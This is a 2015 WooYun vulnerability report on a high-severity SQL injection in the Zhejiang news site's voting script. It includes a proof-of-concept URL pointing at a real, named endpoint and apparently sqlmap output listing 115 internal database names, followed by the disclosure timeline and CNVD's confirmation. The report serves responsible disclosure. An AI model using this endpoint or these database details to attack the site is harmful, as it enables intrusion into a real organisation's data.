当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0109428

漏洞标题：浙江新闻网高危SQL注入，全站+所有分站数据泄露

相关厂商：浙江新闻网

漏洞作者： 黑暗游侠

提交时间：2015-04-24 18:29

修复时间：2015-06-12 10:24

公开时间：2015-06-12 10:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-24： 细节已通知厂商并且等待厂商处理中
2015-04-28： 厂商已经确认，细节仅向厂商公开
2015-05-08： 细节向核心白帽子及相关领域专家公开
2015-05-18： 细节向普通白帽子公开
2015-05-28： 细节向实习白帽子公开
2015-06-12： 细节向公众公开

简要描述：

向前推进

详细说明：

POC：

http://vote.zj.com/vote.cgi?option=results&topic=3543


available databases [115]:
[*] 315old
[*] 9191_cn_domain
[*] 960520
[*] abc_zj_com
[*] ads_zj_com
[*] auto
[*] bbs2_zj_com
[*] bbs3_zj_com
[*] bbs_zj_com
[*] bless08
[*] blog_zj_com
[*] calendar
[*] comments_zj_com
[*] dt_news
[*] e
[*] ent
[*] ent-1
[*] ent20130103bak
[*] ent201410100948
[*] ent20150312
[*] flash
[*] gaoxiao_zj_com
[*] ggg_zj_com
[*] ggg_zj_com2
[*] gggs_zj_com
[*] gps201203032147
[*] guess
[*] health
[*] hfa_jiankang_cn
[*] hope_zj_com
[*] images_zj_com
[*] information_schema
[*] jiajiao
[*] job
[*] joke
[*] jsbbsx15_201203032147
[*] jz_zj_com
[*] kc
[*] lady
[*] life
[*] life_zj_com
[*] liuxue
[*] lqsz
[*] machao
[*] mall
[*] mall_zj_com
[*] mba
[*] mmcs_zj_com
[*] mobile_number
[*] money_zj_com
[*] mysql
[*] netsun_cate
[*] netsun_forum
[*] netsun_jobs
[*] netsun_key
[*] netsun_Q
[*] netsun_trade
[*] new_blog_zj_com
[*] new_dz_zj_com
[*] nic
[*] nonghang
[*] oa_zj_com
[*] party
[*] party_new
[*] peixun_zj_com
[*] phpstat_zj_com
[*] pic_zj_com
[*] pinpai
[*] question
[*] session_tmps
[*] shangxing_from_dxjs
[*] share_zj_com
[*] shouji
[*] site_zj_com
[*] sms_works
[*] stat_zj_com
[*] talk
[*] tempuc201203032147
[*] test
[*] test_bbs_zj_com
[*] test_bbs_zl_com_bak
[*] testtest
[*] tianyumuju
[*] tour
[*] tour_zj_com
[*] tuku
[*] tupian_zj_com
[*] ublog_zj_com
[*] ucenter_test
[*] vote
[*] votephp
[*] votes
[*] votes_zj_com
[*] weather
[*] weather_yahoo
[*] xinhua
[*] xinli
[*] xl
[*] xl_zj_com
[*] xtly_zj_com
[*] xun_zj_com
[*] yls1
[*] youth_foundation
[*] yuesao_zj_com
[*] zg
[*] zj_forum
[*] zj_ted
[*] zjgfjy
[*] zjhq_hub_zj_com
[*] zjhq_zj_com
[*] zjsq
[*] zsol_zj_com
[*] zt
[*] zt_zj_com
[*] zufang


论坛、首页、博客、频道、oa办公等全部泄露数据库

47.png

漏洞证明：

POC：

http://vote.zj.com/vote.cgi?option=results&topic=3543


available databases [115]:
[*] 315old
[*] 9191_cn_domain
[*] 960520
[*] abc_zj_com
[*] ads_zj_com
[*] auto
[*] bbs2_zj_com
[*] bbs3_zj_com
[*] bbs_zj_com
[*] bless08
[*] blog_zj_com
[*] calendar
[*] comments_zj_com
[*] dt_news
[*] e
[*] ent
[*] ent-1
[*] ent20130103bak
[*] ent201410100948
[*] ent20150312
[*] flash
[*] gaoxiao_zj_com
[*] ggg_zj_com
[*] ggg_zj_com2
[*] gggs_zj_com
[*] gps201203032147
[*] guess
[*] health
[*] hfa_jiankang_cn
[*] hope_zj_com
[*] images_zj_com
[*] information_schema
[*] jiajiao
[*] job
[*] joke
[*] jsbbsx15_201203032147
[*] jz_zj_com
[*] kc
[*] lady
[*] life
[*] life_zj_com
[*] liuxue
[*] lqsz
[*] machao
[*] mall
[*] mall_zj_com
[*] mba
[*] mmcs_zj_com
[*] mobile_number
[*] money_zj_com
[*] mysql
[*] netsun_cate
[*] netsun_forum
[*] netsun_jobs
[*] netsun_key
[*] netsun_Q
[*] netsun_trade
[*] new_blog_zj_com
[*] new_dz_zj_com
[*] nic
[*] nonghang
[*] oa_zj_com
[*] party
[*] party_new
[*] peixun_zj_com
[*] phpstat_zj_com
[*] pic_zj_com
[*] pinpai
[*] question
[*] session_tmps
[*] shangxing_from_dxjs
[*] share_zj_com
[*] shouji
[*] site_zj_com
[*] sms_works
[*] stat_zj_com
[*] talk
[*] tempuc201203032147
[*] test
[*] test_bbs_zj_com
[*] test_bbs_zl_com_bak
[*] testtest
[*] tianyumuju
[*] tour
[*] tour_zj_com
[*] tuku
[*] tupian_zj_com
[*] ublog_zj_com
[*] ucenter_test
[*] vote
[*] votephp
[*] votes
[*] votes_zj_com
[*] weather
[*] weather_yahoo
[*] xinhua
[*] xinli
[*] xl
[*] xl_zj_com
[*] xtly_zj_com
[*] xun_zj_com
[*] yls1
[*] youth_foundation
[*] yuesao_zj_com
[*] zg
[*] zj_forum
[*] zj_ted
[*] zjgfjy
[*] zjhq_hub_zj_com
[*] zjhq_zj_com
[*] zjsq
[*] zsol_zj_com
[*] zt
[*] zt_zj_com
[*] zufang


论坛、首页、博客、频道、oa办公等全部泄露数据库

47.png

修复方案：

waf

版权声明：转载请注明来源 黑暗游侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-04-28 10:22

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给浙江分中心，由其后续协调网站管理单位处置。

最新状态：

暂无